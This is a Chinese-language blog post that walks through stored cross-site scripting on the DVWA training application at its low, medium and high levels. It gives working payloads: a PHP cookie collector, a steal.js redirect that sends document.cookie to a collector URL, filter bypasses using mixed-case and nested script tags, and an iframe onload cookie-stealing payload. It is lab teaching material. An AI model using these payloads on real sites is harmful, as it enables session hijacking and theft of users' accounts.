Fork me on github

【DVWA(五)】XXS存储型跨站攻击


XSS存储型跨站攻击(Stored Cross Site Scripting)

前言:

相较于XSS反射型跨站攻击,存储型具有更严重的危害,如果在窃取信息的同时对网页没有任何变化,那受害者将很难发现。

如果我有写的不太明白的地方,可以先看看之前XSS反射型跨站攻击的随笔


low:

1.观察:

测试输入模式,有两个输入框,经测试,都有输入限制,这个限制用网页查看器很容易解决,我给改成了1000,其实不改也可以,就是在message里输入payload也可以的;

2.输入:

alert测试

<script>alert("test")</script>

3.刷新:

此时已经将有攻击的脚本数据传到数据库了,刷新之后就会弹出alert,触发xss!
这就是存储型XSS攻击的厉害之处了,只要任何人访问此网址,都会触发,因此比反射型更加严重!
现在clear掉数据库信息,开始正式进行攻击。

4.php代码:

在www里新建php文件,用于偷取cookie:

<?php

$cookie=$_GET['cookie'];
file_put_contents('get_low_dvwa_cookie.txt',$cookie);

?>

5.构造JS代码:

这次采取与反射型不同的方式,不在输入框里直接输入js代码段,而是在www下写脚本文件,然后利用标签加载网址对应的js代码
新建JS文件steal.js:

document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie

6.XSS攻击加载JS代码:

构造payload:

name:<script src="http://127.0.0.1/steal.js"></script>

message:steal

提交之后可以看见,界面跳转了,说明攻击成功

7.隐蔽:

现在攻击成功,但是跳转界面容易让用户怀疑,所以进一步调整,尽量隐蔽,能够不引起直观变化的情况下进行攻击获取cookie。
利用ajax,在不刷新的情况下偷取cookie!挖坑XD


medium:

用大小写组合,绕过对于<script>的处理:

<SCRIPT>
<scr<script>ipt>

接下来和low一样了。其实这里跟反射型的XSS大同小异。


high:

1.用alert尝试

不行

2.用大小写组合尝试

不行

3.换标签

用 <iframe onload=alert("test")> 测试,可行!

4.构造payload:

name:<iframe onload=document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie>

message:steal

成功!


impossible:

暂时依旧无解


后记

因为是存储型,所以测试的时候会出现,一直跳转的情况,所以在后台把记录删掉就好了。

然后是合天网安相关部分的两个思考:

1)反射型跨站和存储型跨站的区别和利用方法的不同?

反射型是偏向实时的,点对点的最有效,把链接发送给某个人,这样最好了;然后存储型是大范围撒网,一旦形成了攻击,存进了数据库,就有大把的数据了!

2)如何结合CSRF漏洞攻击?

暂时还没搞这部分,留坑

posted @ 2019-06-24 22:14  未配妥剑,已入江湖  阅读(986)  评论(0编辑  收藏  举报